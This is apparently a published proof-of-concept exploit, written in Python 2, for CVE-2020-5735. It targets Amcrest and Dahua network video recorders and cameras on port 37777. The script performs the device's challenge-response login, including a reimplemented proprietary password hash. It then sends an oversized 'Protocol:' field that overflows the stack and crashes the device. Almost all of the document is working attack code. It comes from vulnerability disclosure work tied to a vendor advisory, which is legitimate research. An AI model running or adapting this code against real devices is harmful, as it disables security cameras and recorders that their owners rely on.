1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
# Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC) # Date: 2020-04-07 # Exploit Author: Jacob Baines # Vendor Homepage: https://amcrest.com/ # Software Link: https://amcrest.com/firmwaredownloads # Version: Many different versions due to number of Dahua/Amcrest/etc # devices affected # Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5 # 4.000.00AC000.0 # CVE : CVE-2020-5735 # Advisory: https://www.tenable.com/security/research/tra-2020-20 # Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash import argparse import hashlib import socket import struct import sys import md5 import re ## DDNS test functionality. Stack overflow via memcpy def recv_response(sock): # minimum size is 32 bytes header = sock.recv(32) # check we received enough data if len(header) != 32: print 'Invalid response. Too short' return (False, '', '') # extract the payload length field length_field = header[4:8] payload_length = struct.unpack_from('I', length_field) payload_length = payload_length[0] # uhm... lets be restrictive of accepted lengths if payload_length < 0 or payload_length > 4096: print 'Invalid response. Bad payload length' return (False, header, '') if (payload_length == 0): return (True, header, '') payload = sock.recv(payload_length) if len(payload) != payload_length: print 'Invalid response. Bad received length' return (False, header, payload) return (True, header, payload) def sofia_hash(msg): h = "" m = hashlib.md5() m.update(msg) msg_md5 = m.digest() for i in range(8): n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e if n > 9: if n > 35: n += 61 else: n += 55 else: n += 0x30 h += chr(n) return h top_parser = argparse.ArgumentParser(description='lol') top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to") top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="37777") top_parser.add_argument('-u', '--username', action="store", dest="username", help="The user to login as", default="admin") top_parser.add_argument('--pass', action="store", dest="password", required=True, help="The password to use") args = top_parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + args.ip + ":" + str(args.port) sock.connect((args.ip, args.port)) print "[+] Connected!" # send the old style login request. We'll use blank hashes. This should # trigger a challenge from new versions of the camera old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash "\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash "\x05\x02\x00\x01\x00\x00\xa1\xaa") sock.sendall(old_login) (success, header, challenge) = recv_response(sock) if success == False or not challenge: print 'Failed to receive the challenge' print challenge sys.exit(0) # extract the realm and random seed seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n", challenge) if seeds == None: print 'Failed to extract realm and random seed.' print challenge sys.exit(0) realm = seeds.group(1) random = seeds.group(2) # compute the response realm_hash = md5.new(args.username + ":" + realm + ":" + args.password).hexdigest().upper() random_hash = md5.new(args.username + ":" + random + ":" + realm_hash).hexdigest().upper() sofia_result = sofia_hash(args.password) final_hash = md5.new(args.username + ":" + random + ":" + sofia_result).hexdigest().upper() challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x05\x02\x00\x08\x00\x00\xa1\xaa" + args.username + "&&" + random_hash + final_hash) sock.sendall(challenge_resp) (success, header, payload) = recv_response(sock) if success == False or not header: print 'Failed to receive the session id' sys.exit(0) session_id_bin = header[16:20] session_id_int = struct.unpack_from('I', session_id_bin) if session_id_int[0] == 0: print "Log in failed." sys.exit(0) session_id = session_id_int[0] print "[+] Session ID: " + str(session_id) # firmware version command = "Protocol: " + ("a" * 0x300) + "\r\n" command_length = struct.pack("I", len(command)) firmware = ("\x62\x00\x00\x00" + command_length + "\x04\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + command) sock.sendall(firmware) (success, header, firmware_string) = recv_response(sock) if success == False and not header: print "[!] Probably crashed the server." else: print "[+] Attack failed." |